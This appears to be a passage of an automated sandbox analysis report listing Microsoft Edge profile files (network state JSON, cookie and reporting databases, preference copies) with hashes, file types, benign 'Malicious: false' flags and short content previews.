SHA-512:	CCDC82E90EFD1720953E2A0B1517203D4972F2C551FEFCF029BF7D1BCE052C95C0000DE975A7D7EB644E75C0763C38363F3B14EBB1B001E62877C467FB8D8CA3
Malicious:	false
Preview:	2024/11/22-23:02:38.781 1d10 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/22-23:02:38.799 1d10 Recovering log #3.2024/11/22-23:02:38.807 1d10 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\307678a6-681c-4747-ae6e-88a0ed2a7d86.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1484
Entropy (8bit):	5.306811958258015
Encrypted:	false
SSDEEP:	24:YcCp/WwFGJ/I3RdsGZVMdmRdshiZFRudFGRw6maPsw6C1Vds3ZC52HzQYhbA7n7:YcCpfgCzsStshWfc7kBRspCgHsYhbm
MD5:	7E9B48143A2307A50DDBF05DFC5332F7
SHA1:	723F60F1BF684F8E5D2E9E0BC2C1A831989F63FF
SHA-256:	DDE2EB47CFF8C14D29DA4C6DF4708D55EED429446A826774011B442801F15CE8
SHA-512:	9693305FB6BE057759CC755BE0874AB00B19B387CC722898D61552E850A2DD014B479C66C059D9560D9A800519F9679F4D8A918AC2A46B4377C5B9C2FF36D22C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379400162166517","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379400166215808","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://edge.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWR

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\6a95f15b-9417-48c7-8121-52223cc7764e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\82b47548-5ba4-45fe-a586-bd498e1bd3d2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.773739553605724
Encrypted:	false
SSDEEP:	192:tTnQX0Yl1CRnrcosaIu6e0diBrmZko4M5Xcf0L/ZJVb:VnQFoRnrcHaIuWd8rWB5XI0LhJVb
MD5:	4ED7C5E8578F367707A05402A8608DF1
SHA1:	92E4A9F60CD4D7C7470D557A9780A87D9B997354
SHA-256:	25E1D88282B096497A5750BEB42AB73B9F4D7C622FD2E8FE92133B6BAB08050E
SHA-512:	3411AE3AAE89B008307D5D11751B939A6D54DC2BF8018668372A8C01B6E5E80BA00BE3F17F34BB840288666DB0C6B092253E949370E2E2DE01F9C54EE3BA491E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF4d984.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.3775745293447812
Encrypted:	false
SSDEEP:	48:TFkIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSB5e:JkIEumQv8m1ccnvS6wC+lGFh5uAaw1a
MD5:	92407A54DDFAADBFC7EFBE4B3158FDA7
SHA1:	9A6968D76F479653967EF2B4AC8002AEDA315470
SHA-256:	A41687BB30E82BE08127A5879CE9C9284048C02097C10AB0422E9167E95B46AB
SHA-512:	2B172B5E86C824F0F32D247EFD1B33D01B8976CDEF79BB3EF8657934F99BB9ECD79B5D9B61F57ADF685C6E44BD5E3028E7CA3AEBF90D930EC4D80FE4701F1CD3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3ca08.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3e0ad.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\a3b6bb1a-9acc-4deb-b9c9-476a58d5d9c0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\c76b5295-81cb-4c7a-9418-2db1ead33394.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\e5f3aa6f-14ed-4677-8061-5127bfc3c15a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9861
Entropy (8bit):	5.110434487271526
Encrypted:	false
SSDEEP:	192:stvkdpisggaFvrE9kjue8EbV+FjpQARU/PhYJ:stvQisggCDHbGtQTG
MD5:	891284A74C26C68EA712CA900C2FD8A6
SHA1:	6BBD8495522A1EFAF6233889F0979D5312A569AB
SHA-256:	659E36D0CCE701EB0AF1DBC4D9082E7DD97D82A2C695D00686D7BEFA82642C2B
SHA-512:	3ABB79BB223DD6E6900A7B4989B300459B7F4C86035480287B58E006FA1694311C039FDAA7CB12ADF1E5F1C5B2170C99356B79084C17F95231D8E012126946F6
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376808158281998","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF40eb2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9861
Entropy (8bit):	5.110434487271526
Encrypted:	false
SSDEEP:	192:stvkdpisggaFvrE9kjue8EbV+FjpQARU/PhYJ:stvQisggCDHbGtQTG
MD5:	891284A74C26C68EA712CA900C2FD8A6
SHA1:	6BBD8495522A1EFAF6233889F0979D5312A569AB
SHA-256:	659E36D0CCE701EB0AF1DBC4D9082E7DD97D82A2C695D00686D7BEFA82642C2B
SHA-512:	3ABB79BB223DD6E6900A7B4989B300459B7F4C86035480287B58E006FA1694311C039FDAA7CB12ADF1E5F1C5B2170C99356B79084C17F95231D8E012126946F6
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376808158281998","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF43871.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9861
Entropy (8bit):	5.110434487271526
Encrypted:	false
SSDEEP:	192:stvkdpisggaFvrE9kjue8EbV+FjpQARU/PhYJ:stvQisggCDHbGtQTG
MD5:	891284A74C26C68EA712CA900C2FD8A6
SHA1:	6BBD8495522A1EFAF6233889F0979D5312A569AB
SHA-256:	659E36D0CCE701EB0AF1DBC4D9082E7DD97D82A2C695D00686D7BEFA82642C2B
SHA-512:	3ABB79BB223DD6E6900A7B4989B300459B7F4C86035480287B58E006FA1694311C039FDAA7CB12ADF1E5F1C5B2170C99356B79084C17F95231D8E012126946F6
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376808158281998","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF46bc6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9861
Entropy (8bit):	5.110434487271526
Encrypted:	false
SSDEEP:	192:stvkdpisggaFvrE9kjue8EbV+FjpQARU/PhYJ:stvQisggCDHbGtQTG
MD5:	891284A74C26C68EA712CA900C2FD8A6
SHA1:	6BBD8495522A1EFAF6233889F0979D5312A569AB
SHA-256:	659E36D0CCE701EB0AF1DBC4D9082E7DD97D82A2C695D00686D7BEFA82642C2B
SHA-512:	3ABB79BB223DD6E6900A7B4989B300459B7F4C86035480287B58E006FA1694311C039FDAA7CB12ADF1E5F1C5B2170C99356B79084C17F95231D8E012126946F6
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376808158281998","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4c7ff.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9861
Entropy (8bit):	5.110434487271526
Encrypted:	false
SSDEEP:	192:stvkdpisggaFvrE9kjue8EbV+FjpQARU/PhYJ:stvQisggCDHbGtQTG
MD5:	891284A74C26C68EA712CA900C2FD8A6
SHA1:	6BBD8495522A1EFAF6233889F0979D5312A569AB
SHA-256:	659E36D0CCE701EB0AF1DBC4D9082E7DD97D82A2C695D00686D7BEFA82642C2B
SHA-512:	3ABB79BB223DD6E6900A7B4989B300459B7F4C86035480287B58E006FA1694311C039FDAA7CB12ADF1E5F1C5B2170C99356B79084C17F95231D8E012126946F6
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376808158281998","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567679310284968
Encrypted:	false
SSDEEP:	768:+O8WKtWS6W5wBxf4Z48F1+UoAYDCx9Tuqh0VfUC9xbog/OVPk8Izo+OrwXMpCtus:+VVtr6WaBxfY4u1japhnL5tX
MD5:	A5DC32DEF0B2730B73287D9AC8D86CE0
SHA1:	6CFEF8ADF26F37858D36E59E7AF07B64FCAFB865
SHA-256:	94383FAEE916D4B2DC0C93F2A2AA97D8D0A538563ABAE36EBA7C2CD450886327
SHA-512:	D114EBD8B08445BBF7654B265B5A03A0D27A642504F7B2BAC499ABC788876EBE14768DD458F9D599F14514DC08F44A83B5703970F07B6199E92BBC3135132939
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376808157700221","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376808157700221","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF407bd.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567679310284968
Encrypted:	false
SSDEEP:	768:+O8WKtWS6W5wBxf4Z48F1+UoAYDCx9Tuqh0VfUC9xbog/OVPk8Izo+OrwXMpCtus:+VVtr6WaBxfY4u1japhnL5tX
MD5:	A5DC32DEF0B2730B73287D9AC8D86CE0
SHA1:	6CFEF8ADF26F37858D36E59E7AF07B64FCAFB865
SHA-256:	94383FAEE916D4B2DC0C93F2A2AA97D8D0A538563ABAE36EBA7C2CD450886327
SHA-512:	D114EBD8B08445BBF7654B265B5A03A0D27A642504F7B2BAC499ABC788876EBE14768DD458F9D599F14514DC08F44A83B5703970F07B6199E92BBC3135132939
Malicious:	false
